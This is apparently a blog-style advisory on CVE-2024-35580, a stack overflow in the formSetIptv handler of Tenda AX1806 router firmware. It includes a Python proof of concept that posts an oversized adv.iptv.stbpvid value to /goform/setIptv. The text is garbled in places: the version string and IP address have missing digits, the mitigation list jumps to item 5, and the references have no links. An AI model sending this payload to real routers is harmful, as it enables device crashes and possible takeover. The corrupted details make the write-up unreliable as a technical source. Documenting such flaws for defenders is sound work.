CVE-2024-35580 - Tenda AX1806 v1...1 Stack Overflow Vulnerability in formSetIptv Function

In the software world, vulnerabilities are a common occurrence and often lead to severe consequences if exploited by malicious actors. However, security researchers and developers are continually working together to identify, report, and fix these vulnerabilities. Today, we will be discussing a critical vulnerability in the Tenda AX1806 router firmware, identified as CVE-2024-35580.

Background

The vulnerability in question affects Tenda AX1806 v1...1 router firmware and is caused by a stack overflow in the function formSetIptv. This flaw is due to improper handling of user input when processing the adv.iptv.stbpvid parameter, which can allow an attacker to overwrite memory and potentially execute arbitrary code with the privileges of the affected process.

Exploit Details

The vulnerability in Tenda's router firmware can be exploited by a simple crafted HTTP request. In order to exploit the vulnerability, an attacker sends a POST request with an oversized adv.iptv.stbpvid value to the /goform/setIptv endpoint. The following code snippet demonstrates the formation of the exploit payload:

import requests

target_ip = "192.168..1"  # Replace with the target router's IP address

# Stack overflow induced by a long adv.iptv.stbpvid parameter
payload = {
   "adv.iptv.stb2pvid": "1",
   "adv.iptv.stbpvid": "A" * 256, # A long value that exceeds the buffer size
   "adv.iptv.stbDec": "1",
   "submit_url": "/IPTVCommande.asp",
   "submit_flag": "set_upnp"
}

exploit_url = f"http://{target_ip}/goform/setIptv";

response = requests.post(url=exploit_url, data=payload)

If successful, the stack overflow would occur in the formSetIptv function, leading to potential memory corruption and arbitrary code execution.

Original References

The vulnerability was discovered and reported by a security researcher who has documented their findings online. The original references can be found at the following links:

1. CVE-2024-35580 Vulnerability Details
2. Tenda AX1806 Router Stack Overflow Vulnerability Advisory

Mitigation and Recommendations

Tenda has been informed about this vulnerability, and as of the writing of this post, there is no official patch available. In order to protect your network from potential exploitation, it is recommended that you:

Change your router's default login credentials to a strong, unique username and password.

5. Consider using alternative firmware with up-to-date security patches if available, such as OpenWRT or DD-WRT.

Conclusion

Vulnerabilities like CVE-2024-35580 emphasize the importance of keeping your systems and devices up-to-date with the latest security patches. As security researchers continue to identify and report new vulnerabilities, it is crucial to remain vigilant and take the necessary precautions to ensure your network remains secure. Stay tuned for future updates and advisories related to this vulnerability.

Timeline

Published on: 05/20/2024 18:15:10 UTC
Last modified on: 08/20/2024 14:35:23 UTC